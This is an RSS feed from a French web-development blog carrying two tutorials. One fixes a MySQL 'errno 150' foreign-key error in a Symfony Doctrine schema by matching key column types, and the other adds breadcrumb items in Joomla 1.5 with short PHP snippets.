<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mohammed CHERIFI &#187; Développement WEB</title>
	<atom:link href="http://www.mcherifi.org/category/developpement-web/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mcherifi.org</link>
	<description>Another Web Developper Blog!</description>
	<lastBuildDate>Tue, 31 Jan 2012 18:42:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Symfony: Comment corriger l&#8217;erreur &#171;&#160;Can&#8217;t create table (errno: 150)&#160;&#187;?</title>
		<link>http://www.mcherifi.org/developpement-web/symfony/symfony-comment-corriger-lerreur-cant-create-table-errno-150.html</link>
		<comments>http://www.mcherifi.org/developpement-web/symfony/symfony-comment-corriger-lerreur-cant-create-table-errno-150.html#comments</comments>
		<pubDate>Mon, 27 Sep 2010 16:07:58 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Symfony]]></category>
		<category><![CDATA[errno 150]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=773</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/symfony/symfony-comment-corriger-lerreur-cant-create-table-errno-150.html" data-text="Symfony: Comment corriger l\'erreur \"Can\'t create table (errno: 150)\"?" data-count="horizontal">Tweet</a><p><a href="http://www.mcherifi.org/wp-content/uploads/2009/10/formulaires_symfony.jpg"><img src="http://www.mcherifi.org/wp-content/uploads/2009/10/formulaires_symfony.jpg" alt="" title="formulaires_symfony" width="165" height="131" class="alignleft size-full wp-image-334" /></a>Après avoir conçu le fichier schema.yml pour une applications de jeux en ligne, j&#8217;ai été surpris par une erreur mysql 150 au moment quand j&#8217;ai exécuté &laquo;&nbsp;php symfony doctrine:build &#8211;all &#8211;and-load &#8211;no-confirmation&nbsp;&raquo;, l&#8217;idée était de pouvoir gérer les permission par rapport à un concours et donner à un utilisateur X les droits pour le faire, la solution la plus naturel afin de l&#8217;intégrer avec <a href="http://www.symfony-project.org/plugins/sfDoctrineGuardPlugin" target="_blank">sfDoctrineGuard</a> est de créer une table avec une relation &laquo;&nbsp;<a href="http://www.doctrine-project.org/documentation/manual/1_1/1_1/yaml-schema-files:relationships:many-to-many" target="blank">many to many</a>&laquo;&nbsp;, voici donc ce que contenais mon fichier schma.yml pour la table concernée : </p>
<pre class="brush: php">
################## Questions ##################
Concours:
  columns:
    id: { type: integer(4), primary: true, autoincrement: true}
    name: string(250)
    ....
############ Gestion des Permissions ############
sfGuardConcoursUser:
  columns:
    user_id: { type: integer, primary: true}
    concours_id: { type: integer, primary: true}
  relations:
    Concours: { local: concours_id, foreign: id, foreignAlias: sfGuardConcoursUserConcours, onDelete: CASCADE }
    sfGuardUser: { local: user_id, foreign: id, foreignAlias: sfGuardConcoursUsersfGuardUser, onDelete: CASCADE }
</pre>
<h2>Problème</h2>
<p>Après avoir fait un &laquo;&nbsp;php symfony doctrine:build &#8211;all &#8211;and-load &#8211;no-confirmation&nbsp;&raquo;, j&#8217;ai eu droit à cette erreur:</p>
<blockquote><p>SQLSTATE[HY000]: General error: 1005 Can&#8217;t create table &#8216;test.#sql-529_3dab&#8217; (errno: 150). Failing Query: &laquo;&nbsp;ALTER TABLE jeux_concours ADD CONSTRAINT jeux_concours_concours_id_user_id FOREIGN KEY (concours_id) REFERENCES concours</p></blockquote>
<h2>Solution?</h2>
<p>Et Oui c&#8217;est l&#8217;une des erreurs qui m&#8217;ont fait chier pendant une heure pour trouver d&#8217;où ça provient, pour vous faire gagner du temps, voici la recette magique ;) :</p>
<p>Pour mysql <strong>les relations &laquo;&nbsp;many to many&nbsp;&raquo; doivent avoir toujours le même type et la même longueur des champs clés</strong>, vous remarquez bien que le champ Concours[id] est du type integer(4), par-contre dans la table sfGuardConcoursUser il est du type integer, il n&#8217;a donc pas la même longueur et c&#8217;est à cause de cette différence que l&#8217;erreur 150 s&#8217;est produite.</p>
<p>La solution est très simple, il suffit de mettre integer comme type pour le champ id de la table Concours au lieu de integer(4) et Bingo!</p>
<p>Happy coding</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&d=http://twitter.com/home?status=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;annotation=Apr%C3%A8s%20avoir%20con%C3%A7u%20le%20fichier%20schema.yml%20pour%20une%20applications%20de%20jeux%20en%20ligne%2C%20j%27ai%20%C3%A9t%C3%A9%20surpris%20par%20une%20erreur%20mysql%20150%20au%20moment%20quand%20j%27ai%20ex%C3%A9cut%C3%A9%20%22php%20symfony%20doctrine%3Abuild%20--all%20--and-load%20--no-confirmation%22%2C%20l%27id%C3%A9e%20%C3%A9tait%20de%20pouvoir%20g%C3" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;notes=Apr%C3%A8s%20avoir%20con%C3%A7u%20le%20fichier%20schema.yml%20pour%20une%20applications%20de%20jeux%20en%20ligne%2C%20j%27ai%20%C3%A9t%C3%A9%20surpris%20par%20une%20erreur%20mysql%20150%20au%20moment%20quand%20j%27ai%20ex%C3%A9cut%C3%A9%20%22php%20symfony%20doctrine%3Abuild%20--all%20--and-load%20--no-confirmation%22%2C%20l%27id%C3%A9e%20%C3%A9tait%20de%20pouvoir%20g%C3" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;bodytext=Apr%C3%A8s%20avoir%20con%C3%A7u%20le%20fichier%20schema.yml%20pour%20une%20applications%20de%20jeux%20en%20ligne%2C%20j%27ai%20%C3%A9t%C3%A9%20surpris%20par%20une%20erreur%20mysql%20150%20au%20moment%20quand%20j%27ai%20ex%C3%A9cut%C3%A9%20%22php%20symfony%20doctrine%3Abuild%20--all%20--and-load%20--no-confirmation%22%2C%20l%27id%C3%A9e%20%C3%A9tait%20de%20pouvoir%20g%C3" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Apr%C3%A8s%20avoir%20con%C3%A7u%20le%20fichier%20schema.yml%20pour%20une%20applications%20de%20jeux%20en%20ligne%2C%20j%27ai%20%C3%A9t%C3%A9%20surpris%20par%20une%20erreur%20mysql%20150%20au%20moment%20quand%20j%27ai%20ex%C3%A9cut%C3%A9%20%22php%20symfony%20doctrine%3Abuild%20--all%20--and-load%20--no-confirmation%22%2C%20l%27id%C3%A9e%20%C3%A9tait%20de%20pouvoir%20g%C3" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&d=http://ping.fm/ref/?link=TARGET%26title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F%26body=Apr%C3%A8s%20avoir%20con%C3%A7u%20le%20fichier%20schema.yml%20pour%20une%20applications%20de%20jeux%20en%20ligne%2C%20j%27ai%20%C3%A9t%C3%A9%20surpris%20par%20une%20erreur%20mysql%20150%20au%20moment%20quand%20j%27ai%20ex%C3%A9cut%C3%A9%20%22php%20symfony%20doctrine%3Abuild%20--all%20--and-load%20--no-confirmation%22%2C%20l%27id%C3%A9e%20%C3%A9tait%20de%20pouvoir%20g%C3" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&d=mailto:?subject=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;selection=Apr%C3%A8s%20avoir%20con%C3%A7u%20le%20fichier%20schema.yml%20pour%20une%20applications%20de%20jeux%20en%20ligne%2C%20j%27ai%20%C3%A9t%C3%A9%20surpris%20par%20une%20erreur%20mysql%20150%20au%20moment%20quand%20j%27ai%20ex%C3%A9cut%C3%A9%20%22php%20symfony%20doctrine%3Abuild%20--all%20--and-load%20--no-confirmation%22%2C%20l%27id%C3%A9e%20%C3%A9tait%20de%20pouvoir%20g%C3" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;submitHeadline=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;submitSummary=Apr%C3%A8s%20avoir%20con%C3%A7u%20le%20fichier%20schema.yml%20pour%20une%20applications%20de%20jeux%20en%20ligne%2C%20j%27ai%20%C3%A9t%C3%A9%20surpris%20par%20une%20erreur%20mysql%20150%20au%20moment%20quand%20j%27ai%20ex%C3%A9cut%C3%A9%20%22php%20symfony%20doctrine%3Abuild%20--all%20--and-load%20--no-confirmation%22%2C%20l%27id%C3%A9e%20%C3%A9tait%20de%20pouvoir%20g%C3&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Symfony%3A%20Comment%20corriger%20l%27erreur%20%22Can%27t%20create%20table%20%28errno%3A%20150%29%22%3F&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-comment-corriger-lerreur-cant-create-table-errno-150.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/symfony/symfony-comment-corriger-lerreur-cant-create-table-errno-150.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Joomla! 1.5: Comment modifier le fil d&#8217;ariane</title>
		<link>http://www.mcherifi.org/developpement-web/joomla/joomla15-modifier-le-fil-dariane.html</link>
		<comments>http://www.mcherifi.org/developpement-web/joomla/joomla15-modifier-le-fil-dariane.html#comments</comments>
		<pubDate>Thu, 13 May 2010 15:38:35 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Joomla]]></category>
		<category><![CDATA[breadcrumbs]]></category>
		<category><![CDATA[fil d'ariane]]></category>
		<category><![CDATA[joomla 1.5]]></category>
		<category><![CDATA[pathway]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=691</guid>
		<description><![CDATA[TweetFil d&#8217;Ariane ou &#171;&#160;chemin de fer&#160;&#187; appelé aussi &#171;&#160;breadcrumbs&#160;&#187; est l&#8217;un des éléments indispensables dans un site web, il est souvent présent avant le contenu de toute page web et permet d&#8217;indiquer aux utilisateurs leur emplacement à l&#8217;intérieur du site. dans Joomla! 1.5 le fil d&#8217;Ariane est géré par un module &#171;&#160;mod_breadcrumbs&#160;&#187;, ce dernier est [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/joomla/joomla15-modifier-le-fil-dariane.html" data-text="Joomla! 1.5: Comment modifier le fil d\'ariane" data-count="horizontal">Tweet</a><p><a href="http://www.mcherifi.org/wp-content/uploads/2010/05/3310335846_a5585bae4d.jpg"><img src="http://www.mcherifi.org/wp-content/uploads/2010/05/3310335846_a5585bae4d-150x150.jpg" alt="Joomla breadcrumbs" title="Crédit photo galaad_569 (Flickr)" width="155" height="155" class="alignleft size-thumbnail wp-image-692" /></a>Fil d&#8217;Ariane ou &laquo;&nbsp;chemin de fer&nbsp;&raquo; appelé aussi &laquo;&nbsp;breadcrumbs&nbsp;&raquo; est l&#8217;un des éléments indispensables dans un site web, il est souvent présent avant le contenu de toute page web et permet d&#8217;indiquer aux utilisateurs leur emplacement à l&#8217;intérieur du site. dans Joomla! 1.5 le fil d&#8217;Ariane est géré par un module &laquo;&nbsp;mod_breadcrumbs&nbsp;&raquo;, ce dernier est géré principalement à partir de la partie &laquo;&nbsp;Menus&nbsp;&raquo; dans l&#8217;interface d&#8217;administration. Dans ce tuto on verra comment personnaliser ce dernier en ajoutant/modifiant ou supprimant des éléments.</p>
<h2>Ajouter un élément en fin du fil d&#8217;Ariane</h2>
<pre class="brush: php">$breadcrumbs =&amp; $mainframe-&gt;getPathWay();
$breadcrumbs-&gt;addItem(JText::_(&#039;NOM_ELEMENT&#039;) , JRoute::_(&#039;URL_ELEMENT&#039;));</pre>
<h2>Ajouter un élément au début du fil d&#8217;arian </h2>
<pre class="brush: php">$breadcrumbs =&amp; $mainframe-&gt;getPathWay();
$breadcrumsNames = $breadcrumbs-&gt;_pathway ;
$new_menu = new stdClass();
$new_menu-&gt;link = JRoute::_(&#039;URL_ELEMENT&#039;);
$new_menu-&gt;name = JText::_(&#039;JNOM_ELEMENT&#039;);
array_unshift($breadcrumsNames,$new_menu);
$breadcrumbs-&gt;_pathway = $breadcrumsNames ;</pre>
<p>Vous l&#8217;avez bien compris? $breadcrumsNames (ligne 2) permet de récupérer l&#8217;ensemble des élements du fil d&#8217;Ariane sous forme de tableau qui contient des objets stdClass, chaque objet contient deux propriétés (link et name) qui corresponde respectivement au nom de l&#8217;élément et à l&#8217;url correspondant. Si on souhaite pas que l&#8217;élément du rajouté ne soit pas cliquable il suffit de mettre la propriété link à <em>null</em>, ainsi vous pouvez manipuler tous les élements du tableau comme ça vous chante et par la suite l&#8217;assigner à la variable $breadcrumbs (ligne 7)</p>
<p>J&#8217;espère que ce petit tuto vous sera utile, n&#8217;hésitez pas à poser des questions!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&d=http://twitter.com/home?status=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;annotation=Fil%20d%27Ariane%20ou%20%22chemin%20de%20fer%22%20appel%C3%A9%20aussi%20%22breadcrumbs%22%20est%20l%27un%20des%20%C3%A9l%C3%A9ments%20indispensables%20dans%20un%20site%20web%2C%20il%20est%20souvent%20pr%C3%A9sent%20avant%20le%20contenu%20de%20toute%20page%20web%20et%20permet%20d%27indiquer%20aux%20utilisateurs%20leur%20emplacement%20%C3%A0%20l%27int%C3%A9rieur%20du%20" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;notes=Fil%20d%27Ariane%20ou%20%22chemin%20de%20fer%22%20appel%C3%A9%20aussi%20%22breadcrumbs%22%20est%20l%27un%20des%20%C3%A9l%C3%A9ments%20indispensables%20dans%20un%20site%20web%2C%20il%20est%20souvent%20pr%C3%A9sent%20avant%20le%20contenu%20de%20toute%20page%20web%20et%20permet%20d%27indiquer%20aux%20utilisateurs%20leur%20emplacement%20%C3%A0%20l%27int%C3%A9rieur%20du%20" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjoomla%2Fjoomla15-modifier-le-fil-dariane.html&amp;title=Joomla%21%201.5%3A%20Comment%20modifier%20le%20fil%20d%27ariane&amp;bodytext=Fil%20d%27Ariane%20ou%20%22chemin%20de%20fer%22%20appel%C3%A9%20aussi%20%22breadcrumbs%22%20est%20l%27un%20des%20%C3%A9l%C3%A9ments%20indispensables%20dans%20un%20site%20web%2C%20il%20est%20souvent%20pr%C3%A9sent%20avant%20le%20contenu%20de%20toute%20page%20web%20et%20permet%20d%27indiquer%20aux%20utilisateurs%20leur%20emplacement%20%C3%A0%20l%27int%C3%A9rieur%20du%20" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
